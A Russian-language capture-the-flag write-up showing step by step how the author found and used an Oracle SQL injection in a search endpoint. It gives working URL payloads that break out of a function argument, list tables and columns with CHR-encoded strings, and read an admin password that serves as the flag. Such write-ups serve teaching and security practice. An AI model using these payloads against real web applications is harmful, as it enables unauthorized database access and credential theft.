Rating: 3.0
Открыв страницу, мы видим поле для ввода текста и список результатов. Введя что-нибудь и посмотрев на запрос в developer tools, мы видим, что запрос имеет вид:
/search.php?f=system.findnews&arg=[%22%25(текст)%25%22]
Поменяв параметр f на рандомный, получаем ошибку:
ORA-00904: "ASDF": invalid identifier
Видим, что:
f
управляет названием таблицы или процедурыПодставив в f
название какой-либо стандартной таблицы, получаем ошибку:
ORA-00904: "SYSTEM"."ALL_TABLES": invalid identifier
Подставив название функции с одним параметром получаем результат.
/search.php?f=UPPER&arg=["%25s%25"]
%S%
Это означает, что f
управляет названием вызываемой функции, а arg
- её параметрами. Но мне не удалось найти функцию, которая бы дала доступ к нужным данным, значит, придется применять SQL инъекцию.
Можно догадаться, что в исходном коде бекенда запрос имеет вид наподобие:
SELECT $_GET['f'](implode(',', $_GET['arg'])) FROM DUAL
Нам нужно выйти за пределы параметра функции в кавычках, поэтому немного поигравшись с параметрами, я написал такой запрос:
/search.php?f=CONCAT&arg=["1","2'||(SELECT+1+FROM+DUAL))+FROM+DUAL+--"]
Вместо SELECT 1 FROM DUAL
тут можно вставить любой запрос, возвращающий не больше одной строки. Я писал запросы с плюсами вместо пробелов, чтобы они не попадали в urlencode и было читаемо, но можно и без них.
Таким образом, у нас запрос к базе примет следующий вид:
SELECT CONCAT('1', '2'||(SELECT+1+FROM+DUAL))+FROM+DUAL+--') FROM DUAL
Часть после --
считается комментарием, и не обрабатывается сервером. То есть в очищенной форме запрос будет таким:
SELECT CONCAT('1', '2' || (SELECT 1 FROM DUAL)) FROM DUAL
Попробуем применить его, и увидим, что в ответ сервер вернул 12\1
, то есть 1 и 2 из параметров CONCAT, и 1, который вернул наш запрос. Кто знает, откуда взялся обратный слеш, напишите :).
Теперь мы можем выполнять любые запросы к базе, и видеть результат их выполнения. Но есть пара ограничений:
OFFSET N ROWS FETCH NEXT 1 ROWS ONLY
, где N - номер строки, которую мы хотим получить. Таким образом мы будем получать по одной строке за раз.Посмотрим, какие таблицы есть в базе. Функция для получения результатов называлась findnews, поэтому я решил поискать таблицы со словом news в названии. Получить список всех таблиц можно из таблицы ALL_TABLES, поле с названием имеет имя TABLE_NAME. Для поиска по таблице используем TABLE_NAME LIKE '%NEWS%', но не забываем про ограничения.
/search.php?f=CONCAT&arg=["1","2'||(SELECT+TABLE_NAME+FROM+ALL_TABLES+WHERE+TABLE_NAME+LIKE+CHR(37)||CHR(78)||CHR(69)||CHR(87)||CHR(83)||CHR(37)+OFFSET+0+ROWS+FETCH+NEXT+1+ROWS+ONLY))+FROM+DUAL+--"]
Получаем один результат: YAUZANEWS. Посмотрим владельца этой таблицы (колонка OWNER):
/search.php?f=CONCAT&arg=["1","2'||(SELECT+OWNER+FROM+ALL_TABLES+WHERE+TABLE_NAME+LIKE+CHR(89)||CHR(65)||CHR(85)||CHR(90)||CHR(65)||CHR(78)||CHR(69)||CHR(87)||CHR(83)+OFFSET+0+ROWS+FETCH+NEXT+1+ROWS+ONLY))+FROM+DUAL+--"]
Результат: SYSTEM. Посмотрим, какими ещё таблицами владеет этот пользователь. Проматывая строки параметром N после OFFSET, уже на N=2 находим таблицу YAUZAADMIN. Посмотрим её структуру по таблице ALL_TAB_COLUMNS.
/search.php?f=CONCAT&arg=["1","2'||(SELECT+column_name+FROM+ALL_TAB_COLUMNS+WHERE+table_name=CHR(89)||CHR(65)||CHR(85)||CHR(90)||CHR(65)||CHR(65)||CHR(68)||CHR(77)||CHR(73)||CHR(78)+OFFSET+0+ROWS+FETCH+NEXT+1+ROWS+ONLY))+FROM+DUAL+--"]
Изменяя параметр после OFFSET, узнаем структуру таблицы: ADMIN_ID,LOGIN,PASSWORD. В таблице всего одна строка, и пароль лежит в PASSWORD. Получим его:
/search.php?f=CONCAT&arg=["1","2'||(SELECT+password+FROM+SYSTEM.YAUZAADMIN))+FROM+DUAL+--"]
12\YauzaCTF{F1rstL3v31c0mpl3t3d}
Вот и наш флаг. Весь таск занял у меня чуть меньше трех часов, большую часть которых занял поиск инъекции.